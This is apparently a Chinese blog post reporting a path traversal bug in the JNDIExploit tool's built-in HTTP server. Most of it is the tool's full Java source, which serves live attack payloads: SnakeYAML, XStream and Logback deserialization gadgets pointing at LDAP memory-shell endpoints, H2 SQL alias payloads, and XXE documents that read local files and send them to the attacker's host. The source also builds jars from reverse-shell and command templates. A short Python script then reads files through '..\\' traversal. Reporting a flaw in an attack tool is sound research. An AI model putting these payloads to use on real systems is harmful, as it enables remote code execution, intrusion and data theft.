
JNDIExploit路径穿越漏洞
路径穿越漏洞
该工具启动命令
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 0.0.0.0
默认会启动http服务器
该工具http服务器相应的代码位于项目
src/main/java/com/feihong/ldap/HTTPServer.java
package com.feihong.ldap;
import cn.hutool.core.io.file.FileReader;
import com.feihong.ldap.template.CommandTemplate;
import com.feihong.ldap.template.DnslogTemplate;
import com.feihong.ldap.template.ReverseShellTemplate;
import com.feihong.ldap.utils.Cache;
import com.feihong.ldap.utils.Config;
import com.feihong.ldap.utils.Util;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.lang3.reflect.FieldUtils;
import java.io.*;
import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets;
import java.util.*;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import java.util.jar.JarOutputStream;
import java.util.zip.ZipEntry;
public class HTTPServer {
public static String cwd = System.getProperty("user.dir");
public static void start() throws IOException {
HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0);
httpServer.createContext("/", new HttpHandler() {
public void handle(HttpExchange httpExchange){
try {
System.out.println("[+] New HTTP Request From " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
String path = httpExchange.getRequestURI().getPath();
if(path.endsWith(".class")){
handleClassRequest(httpExchange);
}else if(path.endsWith(".wsdl")){
handleWSDLRequest(httpExchange);
}else if(path.endsWith(".jar")){
handleJarRequest(httpExchange);
}else if(path.startsWith("/xxelog")){
handleXXELogRequest(httpExchange);
}else if(path.endsWith(".sql")){
handleSQLRequest(httpExchange);
}else if (path.endsWith(".groovy")){
handlerGroovyRequest(httpExchange);
}else if(path.endsWith(".xml")) {
handleXMLRequest(httpExchange);
}else if(path.endsWith(".txt")) {
handleTXTRequest(httpExchange);
}else if(path.endsWith(".yml")){
handleYmlRequest(httpExchange);
}else{
handleFileRequest(httpExchange);
}
} catch (Exception e) {
e.printStackTrace();
}
}
});
httpServer.setExecutor(null);
httpServer.start();
System.out.println("[+] HTTP Server Start Listening on " + Config.httpPort + "...");
}
private static void handleFileRequest(HttpExchange exchange) throws Exception {
String path = exchange.getRequestURI().getPath();
String filename = cwd + File.separator + "data" + File.separator +path.substring(path.lastIndexOf("/") + 1);
File file = new File(filename);
if (file.exists()){
byte[] bytes = new byte[(int) file.length()];
FileInputStream fileInputStream = new FileInputStream(file);
fileInputStream.read(bytes);
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
}else {
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
}
private static void handleYmlRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
// String host = exchange.getRequestURI().getHost();
String YamlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
String bytes = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://"+ Config.ip +":"+ Config.httpPort + "/behinder3.jar\"]\n" +
" ]]\n" +
"]\n";
String yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
" dataSourceName: \"ldap://127.0.0.1:1389/basic/TomcatMemShell3\"\n" +
" autoCommit: true";
if (YamlName.equalsIgnoreCase("snake")) {
System.out.println("[+] Response Code: " + 200);
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
// exchange.sendResponseHeaders(200, yaml.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes("UTF-8"));
// exchange.getResponseBody().write(yaml.getBytes("UTF-8"));
}else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + YamlName + ".yml");
if (file.exists()){
byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes1);
}
exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes1);
} else {
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleTXTRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String txtname = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (txtname.equalsIgnoreCase("isok")){
System.out.println("[+] Response Code: " + 200);
byte[] bytes = "success!".getBytes();
exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, bytes.length + 1);
exchange.getResponseBody().write(bytes);
}else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + txtname + ".txt");
if (file.exists()){
byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes1);
}
exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes1);
}else {
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleXMLRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
// String host = exchange.getRequestURI().getHost();
String xmlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
String bytes = "<configuration>\n <insertFromJNDI env-entry-name=\"ldap://" + Config.ip + ":"+ Config.ldapPort + "/TomcatBypass/TomcatMemshell3\" as=\"appName\" />\n</configuration>";
String xstream = "<linked-hash-set>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" +
" <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\">\n" +
" <dataHandler>\n" +
" <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\n" +
" <is class=\"javax.crypto.CipherInputStream\">\n" +
" <cipher class=\"javax.crypto.NullCipher\">\n" +
" <initialized>false</initialized>\n" +
" <opmode>0</opmode>\n" +
" <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\n" +
" <iter class=\"javax.imageio.spi.FilterIterator\">\n" +
" <iter class=\"java.util.Collections$EmptyIterator\"/>\n" +
" <next class=\"com.sun.rowset.JdbcRowSetImpl\" serialization=\"custom\">\n" +
" <javax.sql.rowset.BaseRowSet>\n" +
" <default>\n" +
" <concurrency>1008</concurrency>\n" +
" <escapeProcessing>true</escapeProcessing>\n" +
" <fetchDir>1000</fetchDir>\n" +
" <fetchSize>0</fetchSize>\n" +
" <isolation>2</isolation>\n" +
" <maxFieldSize>0</maxFieldSize>\n" +
" <maxRows>0</maxRows>\n" +
" <queryTimeout>0</queryTimeout>\n" +
" <readOnly>true</readOnly>\n" +
" <rowSetType>1004</rowSetType>\n" +
" <showDeleted>false</showDeleted>\n" +
" <dataSource>ldap://" + Config.ip + ":1389/basic/TomcatMemShell3</dataSource>\n" +
" <listeners/>\n" +
" <params/>\n" +
" </default>\n" +
" </javax.sql.rowset.BaseRowSet>\n" +
" <com.sun.rowset.JdbcRowSetImpl>\n" +
" <default>\n" +
" <iMatchColumns>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" </iMatchColumns>\n" +
" <strMatchColumns>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" </strMatchColumns>\n" +
" </default>\n" +
" </com.sun.rowset.JdbcRowSetImpl>\n" +
" </next>\n" +
" </iter>\n" +
" <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\n" +
" <method>\n" +
" <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +
" <name>getDatabaseMetaData</name>\n" +
" <parameter-types/>\n" +
" </method>\n" +
" <name>foo</name>\n" +
" </filter>\n" +
" <next class=\"string\">foo</next>\n" +
" </serviceIterator>\n" +
" <lock/>\n" +
" </cipher>\n" +
" <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\n" +
" <ibuffer></ibuffer>\n" +
" <done>false</done>\n" +
" <ostart>0</ostart>\n" +
" <ofinish>0</ofinish>\n" +
" <closed>false</closed>\n" +
" </is>\n" +
" <consumed>false</consumed>\n" +
" </dataSource>\n" +
" <transferFlavors/>\n" +
" </dataHandler>\n" +
" <dataLen>0</dataLen>\n" +
" </value>\n" +
" </jdk.nashorn.internal.objects.NativeString>\n" +
" <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
" <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
" </entry>\n" +
"</linked-hash-set>";
if(xmlName.equals("a")) {
System.out.println("[+] Response Code: " + 200);
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
}else if (xmlName.equals("x")){
System.out.println("[+] Response Code: " + 200);
exchange.getResponseHeaders().add("Content-Type","application/xml; charset=utf-8");
exchange.sendResponseHeaders(200, xstream.getBytes().length + 1);
exchange.getResponseBody().write(xstream.getBytes(StandardCharsets.UTF_8));
}else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + xmlName + ".xml");
if (file.exists()){
byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes1);
}
exchange.getResponseHeaders().add("Content-Type","application/xml; charset=utf-8");
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes1);
}else {
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleSQLRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String host = exchange.getRequestURI().getHost();
String sqlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if(sqlName.equalsIgnoreCase("echo")){
System.out.println("[+] Response Code: " + 200);
String name = String.valueOf(System.nanoTime());
String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" +
"{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap://" + host + ":1389/TomcatBypass/TomcatEcho\");',' 'o.setAutoCommit(\"true\");,'}');" +
"CALL " + name + "();\"}";
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes("UTF-8"));
}else if(sqlName.equalsIgnoreCase("inject")){
System.out.println("[+] Response Code: " + 200);
String name = String.valueOf(System.nanoTime());
String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" +
"{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap:// + host + :1389/inject.class\");',' 'o.setAutoCommit(\"true\");,'}');" +
"CALL " + name + "();\"}";
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes("UTF-8"));
}else{
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + sqlName + ".sql");
if (file.exists()){
byte[] bytes = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes);
}
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handlerGroovyRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String host = exchange.getRequestURI().getHost();
String exp = "/TomcatBypass/TomcatEcho";
String groovyName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if(groovyName.equalsIgnoreCase("groovyecho")){
System.out.println("[+] Response Code: " + 200);
String bytes = "class demo {\n" +
" static void main(){\n" +
" com.sun.rowset.JdbcRowSetImpl o = new com.sun.rowset.JdbcRowSetImpl();\n" +
" o.setDataSourceName(\"ldap://" + host + ":1389" + exp + "\");\n" +
" o.setAutoCommit(true);\n" +
" }\n" +
"}\n";
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes("UTF-8"));
}else{
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + groovyName + ".groovy");
if (file.exists()){
byte[] bytes = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes);
}
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException {
Object exchangeImpl = FieldUtils.readField(exchange, "impl", true);
Object request = FieldUtils.readField(exchangeImpl, "req", true);
String startLine = (String) FieldUtils.readField(request, "startLine", true);
System.out.println("[+] XXE Attack Result: " + startLine);
exchange.sendResponseHeaders(200, 0);
exchange.close();
}
private static void handleJarRequest(HttpExchange exchange) throws IOException{
String path = exchange.getRequestURI().getPath();
String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (jarName.equalsIgnoreCase("behinder3")){
byte[] bytes = null;
String filename = cwd + File.separator +"data" + File.separator + "behinder3.jar";
FileReader fileReader = new FileReader(filename,"UTF-8");
bytes = fileReader.readBytes();
exchange.sendResponseHeaders(200, bytes.length + 1);
exchange.getResponseBody().write(bytes);
}else {
String filename = cwd + File.separator +"data" + File.separator + jarName + ".jar";
File file = new File(filename);
if (file.exists()){
byte[] bytes = null;
FileReader fileReader = new FileReader(filename,"UTF-8");
bytes = fileReader.readBytes();
exchange.sendResponseHeaders(200, bytes.length + 1);
exchange.getResponseBody().write(bytes);
}else {
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
private static void handleClassRequest(HttpExchange exchange) throws IOException{
String path = exchange.getRequestURI().getPath();
String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
System.out.println("[+] Receive ClassRequest: " + className + ".class");
//先从Cache中加载
if(Cache.contains(className)){
System.out.println("[+] Response Code: " + 200);
byte[] bytes = Cache.get(className);
exchange.sendResponseHeaders(200, bytes.length);
//这一步返回http请求
exchange.getResponseBody().write(bytes);
}else{//找不到就从/data目录下照
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + className + ".class");
if (file.exists()){
byte[] bytes = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes);
}
exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
}else {
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
private static void handleWSDLRequest(HttpExchange exchange) throws Exception {
String query = exchange.getRequestURI().getQuery();
Map<String, String> params = parseQuery(query);
String path = exchange.getRequestURI().getPath().substring(1);
if(path.startsWith("list")) {
//intended to list directories or read files on server
String file = params.get("file");
if (file != null && !file.isEmpty()) {
String listWsdl = "" +
"<!DOCTYPE x [\n" +
" <!ENTITY % aaa SYSTEM \"file:///" + file + "\">\n" +
" <!ENTITY % bbb SYSTEM \"http://" + Config.ip + ":" + Config.httpPort + "/http.wsdl\">\n" +
" %bbb;\n" +
"]>\n" +
"<definitions name=\"HelloService\" xmlns=\"http://schemas.xmlsoap.org/wsdl/\">\n" +
" &ddd;\n" +
"</definitions>";
System.out.println("[+] Response Code: " + 200);
exchange.sendResponseHeaders(200, listWsdl.getBytes().length);
exchange.getResponseBody().write(listWsdl.getBytes());
} else {
System.out.println("[!] Missing or wrong argument");
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
}else if(path.startsWith("upload")) {
String type = params.get("type");
String[] args = null;
if (type.equalsIgnoreCase("command")) {
args = new String[]{params.get("cmd")};
} else if (type.equalsIgnoreCase("dnslog")) {
args = new String[]{params.get("url")};
} else if (type.equalsIgnoreCase("reverseshell")) {
args = new String[]{params.get("ip"), params.get("port")};
}
String jarName = createJar(type, args);
if (jarName != null) {
String uploadWsdl = "<!DOCTYPE a SYSTEM \"jar:http://" + Config.ip + ":" + Config.httpPort +
"/" + jarName + ".jar!/file.txt\"><a></a>";
System.out.println("[+] Response Code: " + 200);
exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length);
exchange.getResponseBody().write(uploadWsdl.getBytes());
} else {
System.out.println("[!] Missing or wrong argument");
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
}else if(path.startsWith("http")) {
String xxhttp = "<!ENTITY % ccc '<!ENTITY ddd '<import namespace=\"uri\" location=\"http://" +
Config.ip + ":" + Config.httpPort + "/xxelog?%aaa;\"/>'>'>%ccc;";
System.out.println("[+] Response Code: " + 200);
exchange.sendResponseHeaders(200, xxhttp.getBytes().length);
exchange.getResponseBody().write(xxhttp.getBytes());
exchange.close();
}else{
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
exchange.close();
}
}
private static Map<String, String> parseQuery(String query){
Map<String,String> params = new HashMap<String, String>();
try{
for(String str : query.split("&")){
try{
String[] parts = str.split("=",2);
params.put(parts[0], parts[1]);
}catch(Exception e){
//continue
}
}
}catch(Exception e){
//continue
}
return params;
}
/*
由于我本地安装的 Websphere 在加载本地 classpath 这一步复现不成功
这里不确定 websphere 这种方式在多次操作时 Class 文件名相同时是否会存在问题
目前暂时认为其不会有问题,如果有问题,后面再修改
*/
private static String createJar(String type, String... params) throws Exception {
byte[] bytes = new byte[0];
String className = "xExportObject";
if (type.toLowerCase().equals("command")) {
CommandTemplate commandTemplate = new CommandTemplate(params[0], "xExportObject");
bytes = commandTemplate.getBytes();
} else if (type.toLowerCase().equals("dnslog")){
DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0], "xExportObject");
bytes = dnslogTemplate.getBytes();
} else if (type.toLowerCase().equals("reverseshell")) {
ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject");
bytes = reverseShellTemplate.getBytes();
} else if (type.toLowerCase().equals("webspherememshell")) {
ClassPool classPool = ClassPool.getDefault();
CtClass exploitClass = classPool.get("com.feihong.ldap.template.WebsphereMemshellTemplate");
exploitClass.setName(className);
exploitClass.detach();
bytes = exploitClass.toBytecode();
}else{
return null;
}
System.out.println("[+] Name of Class in Jar: " + className);
ByteArrayOutputStream bout = new ByteArrayOutputStream();
JarOutputStream jarOut = new JarOutputStream(bout);
jarOut.putNextEntry(new ZipEntry(className + ".class"));
jarOut.write(bytes);
jarOut.closeEntry();
jarOut.close();
bout.close();
String jarName = Util.getRandomString();
Cache.set(jarName, bout.toByteArray());
return jarName;
}
}
当后缀名不属于if else中的任意一种的时候会进入handleFileRequest中。
看看内部处理
private static void handleFileRequest(HttpExchange exchange) throws Exception {
String path = exchange.getRequestURI().getPath();
String filename = cwd + File.separator + "data" + File.separator +path.substring(path.lastIndexOf("/") + 1);
File file = new File(filename);
if (file.exists()){
byte[] bytes = new byte[(int) file.length()];
FileInputStream fileInputStream = new FileInputStream(file);
fileInputStream.read(bytes);
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
}else {
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
}
他会获取最后一个/并与当前pwd拼接,但是在Windows系统中,路径是用\进行表示的,所以在windows上运行该工具会造成相应的任意文件读取。 这里我用python进行攻击


可以看到返回了文件内容。而我d盘下也确实有该文件

当然不止handleFileRequest有这个问题,其他的函数都是这么处理的,所以都会导致该漏洞的产生。
exp
import requests
filename = '..\\..\\..\\..\\..\\flag'
url = "http://127.0.0.1:3456/"
r = requests.get(url+filename)
print(r.text)
评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果